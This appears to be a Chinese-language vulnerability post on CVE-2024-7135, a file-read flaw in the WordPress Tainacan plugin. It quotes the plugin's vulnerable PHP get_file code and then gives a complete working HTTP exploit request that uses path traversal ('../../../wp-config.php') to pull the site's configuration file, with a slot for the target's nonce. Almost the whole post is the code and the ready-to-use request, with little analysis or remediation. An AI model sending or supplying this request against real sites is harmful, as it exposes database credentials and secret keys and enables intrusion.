WordPress Tainacan 插件存在前台任意文件读取漏洞(CVE-2024-7135)

register_rest_route($this->namespace, '/' . $this->rest_base . '/(?P<id>[0-9]+)', array(  array(    'methods'             => WP_REST_Server::EDITABLE,    'callback'            => array($this, 'update_item'),    'permission_callback' => array($this, 'bg_processes_permissions_check'),    'args'                => [    'status' => [    'type'        => 'string',    'description' => __( '"open" or "closed" ', 'tainacan' ),    'enum'        => array(      'open',      'closed'    )    ]    ],  ),));...public function get_file( $request ) {  if( !isset($request['guid']) )  {    return new WP_REST_Response([                                 'error_message' => __('guid must be specified', 'tainacan' )                                 ], 400);  }  $guid = $request['guid'];  $upload_url = wp_upload_dir();  $path = $upload_url['basedir'] . '/tainacan/' . $guid;  if ( file_exists( $path ) ) {    $finfo = @finfo_open(FILEINFO_MIME_TYPE);    $mime_type = @finfo_file($finfo, $path);    $file_name = @basename($path);    http_response_code(200);    header('Content-Description: File Transfer');    header("Content-Disposition: attachment; filename=$file_name");     header("Content-Type: $mime_type");    header("Content-Length: " . @filesize( $path ));    readfile($path);  } else {    return new WP_REST_Response("file not found", 404, array('content-type' => 'text/html; charset=utf-8'));  }}

GET /wp-json/tainacan/v2/bg-processes/file?guid=../../../wp-config.php&_wpnonce=替换目标网站nonce HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: no-cacheConnection: keep-aliveCookie: wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=57p45m6lctlfttfrsjfpk4fui9; wp_lang=zh_CN; wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1729391061%7ColYyhIIyEr3yA8JstL99jsKU6rCXsMPR8tQH6nNauzP%7C59e8715eb35b44ed9532e025052b7ef1748b384a9e03a39a9538cd4cd18ffdbe; wp-settings-1=libraryContent%3Dbrowse%26editor%3Dhtml%26mfold%3Do; wp-settings-time-1=1729218262Host: 127.0.0.1Pragma: no-cacheSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1